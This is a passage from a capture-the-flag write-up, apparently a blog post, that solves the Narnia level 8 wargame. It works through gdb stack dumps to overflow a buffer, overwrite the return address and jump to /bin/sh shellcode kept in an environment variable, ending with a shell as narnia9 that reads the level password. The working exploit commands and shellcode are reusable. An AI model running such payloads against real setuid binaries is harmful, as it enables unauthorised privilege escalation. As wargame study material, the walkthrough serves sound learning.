0xffffd8b0:     0x00386169      0x41414141 <--  0x41414141      0x41414141 - The start of *blah
0xffffd8c0:     0x41414141      0x41414141      0x45485300      0x2f3d4c4c
0xffffd8d0:     0x2f6e6962      0x68736162      0x52455400      0x74783d4d

After looking at the stack above, I realised that the machine code displayed in the output must of been the memory addresses at the end of bok. With this thought in mind, I decided to confirm this by running the binary agin with the output being dumped into the a file and then using the “xxd” command I looked at the dump file.

narnia8@melinda:/tmp/dump$ /narnia/narnia8 $(python -c'print "\x41"*20') >> output
narnia8@melinda:/tmp/dump$ xxd output
0000000: 2f6e 6172 6e69 612f 6e61 726e 6961 3820  /narnia/narnia8
0000010: 6172 6775 6d65 6e74 0a41 4141 4141 4141  argument.AAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 41bb d8ff  AAAAAAAAAAAAA...
0000030: ffff ffff ff16 f1e5 f7e8 d6ff ff8d 8404  ................
0000040: 08bb d8ff ff0a                           ......

Other than the “\xbb\xd8\xff\xff” which follows the A’s the memory addresses are the same. So might initial thought was I could overwrite the first memory address with the memory address of the shellcode which would be placed in an environmential variable, but this wasn’t the case because I could not overwrite the memory address at this stage. So I began thinking well since we have an overflow occuring what if we can get around this current point and continue to the overflow to overwrite the RET address with the memory address to the shellcode.

So my thinking was if I could get the binary to go back to blah and pushing data into dok I would be able to cause an overflow which would allow me to gain control of the RET. To do this I would add the memory address for blah after the initial 20 A’s.

(gdb) r $(python -c'print("\x41"*20 + "B"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "B"*4)')
 
Breakpoint 1, 0x08048467 in func ()
(gdb) x/160wx $esp
0xffffd670:     0x08048580      0xffffd688      0x00000014      0xf7fceff4
0xffffd680:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd690:     0x41414141      0x41414141      0x41414141      0xffffd842 <-- Overwrite these 4 bytes with blah's location
0xffffd6a0:     0xffffffff      0xf7e5f116      0xffffd6c8      0x0804848d <-- RET Address
0xffffd6b0:     0xffffd8b0 <--  0x00000000      0x080484b9      0xf7fceff4 - Points to blah
0xffffd6c0:     0x080484b0      0x00000000      0x00000000      0xf7e454b3
-- omitted output --
0xffffd8b0:     0x41414141 <--  0x41414141      0x41414141      0x41414141 - Start of blah
0xffffd8c0:     0x41414141      0x42424242      0x45485300      0x2f3d4c4c
0xffffd8d0:     0x2f6e6962      0x68736162      0x52455400      0x74783d4d
0xffffd8e0:     0x006d7265      0x5f485353      0x45494c43      0x323d544e
(gdb) r $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff")')
 
Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd670:     0x08048580      0xffffd688      0x00000014      0xf7fceff4
0xffffd680:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd690:     0x41414141      0x41414141      0x41414141      0xffffd8b0 <-- Now contains the location for blah
0xffffd6a0:     0xffffffff      0xf7e5f116      0xffffd6c8      0x0804848d <-- RET Address
0xffffd6b0:     0xffffd8b0      0x00000000      0x080484b9      0xf7fceff4

We now should be able to continue overflowing past the current point and overwrite the RET. There are 12 bytes between our current point and the RET address, so I modify the input to account for this information.

(gdb) r $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
 
Breakpoint 1, 0x08048467 in func ()
(gdb) x/160wx $esp
0xffffd660:     0x08048580      0xffffd678      0x00000014      0xf7fceff4
0xffffd670:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd680:     0x41414141      0x41414141      0x41414141      0xffff42b0 <-- Now contains the location for blah
0xffffd690:     0xffffffff      0xf7e5f116      0xffffd6b8      0x0804848d <-- RET Address
0xffffd6a0:     0xffffd8a0      0x00000000      0x080484b9      0xf7fceff4
-- omitted output --
0xffffd880:     0x00000000      0x00000000      0x672f0000      0x73656d61
0xffffd890:     0x72616e2f      0x2f61696e      0x6e72616e      0x00386169
0xffffd8a0:     0x41414141 <--  0x41414141      0x41414141      0x41414141 - Location of blah
0xffffd8b0:     0x41414141      0xffffd8b0      0x41414141      0x41414141
0xffffd8c0:     0x41414141      0x42424242      0x45485300      0x2f3d4c4c
0xffffd8d0:     0x2f6e6962      0x68736162      0x52455400      0x74783d4d

So we weren’t able to overwrite the RET with the new input. This is because as we increase the length of the input, the location of blah changes. Which means we just need to update the memory address in the input.

(gdb) r $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
 
Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd660:     0x08048580      0xffffd678      0x00000014      0xf7fceff4
0xffffd670:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd680:     0x41414141      0x41414141      0x41414141      0xffffd8a0
0xffffd690:     0x41414141      0x41414141      0x41414141      0x42424242 <-- RET Address
0xffffd6a0:     0xffffd8a0      0x00000000      0x080484b9      0xf7fceff4

We have now successfully overwritten the RET address with 4 B’s and now all that is left to do is to attach the shellcode. The only option we have is to place the shellcode in an environmental variable, because the smallest amount of bytes needed for a “/bin/sh” shellcode I’ve seen and used is 25 bytes. In the below section, I go through the process of creating an Environmental variable containing the shellcode and then I just use GDB to have a look at the stack to find the shellcode.

export SC=$(python -c'print("\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')
-- omitted output --
0xffffdef8:     0x494c0038      0x3d53454e      0x53003236      0x90903d43
0xffffdf08:     0x90909090 <--  0x90909090      0x90909090      0x90909090 - Start of shellcode
0xffffdf18:     0x90909090      0x90909090      0x90909090      0x6850c031
0xffffdf28:     0x68732f2f      0x69622f68      0x50e3896e      0x89e18953
0xffffdf38:     0xcd0bb0c2      0x4f480080      0x2f3d454d      0x656d6f68
0xffffdf48:     0x72616e2f      0x3861696e      0x4c485300      0x313d4c56
0xffffdf58:     0x474f4c00      0x454d414e      0x72616e3d      0x3861696e
0xffffdf68:     0x48535300      0x4e4f435f      0x5443454e      0x3d4e4f49
-- omitted output --
(gdb) r $(python -c'print("\x41"*20 + "\xa1\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xa1\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
 
Breakpoint 2, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd660:     0x08048580      0xffffd678      0x00000014      0xf7fceff4
0xffffd670:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd680:     0x41414141      0x41414141      0x41414141      0xffffd8a1
0xffffd690:     0x41414141      0x41414141      0x41414141      0xffffdf08
0xffffd6a0:     0xffffd8a1      0x00000000      0x080484b9      0xf7fceff4
0xffffd6b0:     0x080484b0      0x00000000      0x00000000      0xf7e454b3
0xffffd6c0:     0x00000002      0xffffd754      0xffffd760      0xf7fd3000
0xffffd6d0:     0x00000000      0xffffd71c      0xffffd760      0x00000000
0xffffd6e0:     0x0804820c      0xf7fceff4      0x00000000      0x00000000
0xffffd6f0:     0x00000000      0x64f5254f      0x53f0415f      0x00000000
0xffffd700:     0x00000000      0x00000000      0x00000002      0x08048340
0xffffd710:     0x00000000      0xf7ff0a90      0xf7e453c9      0xf7ffcff4
0xffffd720:     0x00000002      0x08048340
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAA¡ØÿÿAAAAAAAAAAAßÿÿ¡Øÿÿ
 
Breakpoint 3, 0xffffdf08 in ?? ()
(gdb) c
Continuing.
process 10175 is executing new program: /proc/10175/exe
/proc/10175/exe: Permission denied.

NOTE: I had to change the memory address for blah, as it changed again after the shellcode was added to an environment variable.

Unfortunately though in GDB I was able to hit the shellcode successfully but outside GDB I was not able to successfully land on my nope sled and hit my shellcode. So wghat I decided to do pipe my output in xxd, like I did originally to identify the memory addresses, to see what they are being changed too.

narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
AAAAAAAAAAAAAAAAAAAA Aÿÿÿÿÿÿñå÷èÖÿ¯Øÿÿ
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")') | xxd
0000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000010: 4141 4141 a041 ffff ffff ffff 16f1 e5f7  AAAA.A..........
0000020: e8d6 ffff 8d84 0408 afd8 ffff 0a         .............

In the output from xxd, I can see that the memory address for blah is being changed to 0xffffd8af, so my original value is being changed by 16 bytes. I made the modifications and run the code again.

narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xaf\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
AAAAAAAAAAAAAAAAAAAA¯ØÿÿAAAAAAAAAAAßÿÿ¯Øÿÿ
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
**********

Level 9

A challenge for this level has not been created yet.


© 2021. All rights reserved.

Powered by Hydejack v9.1.6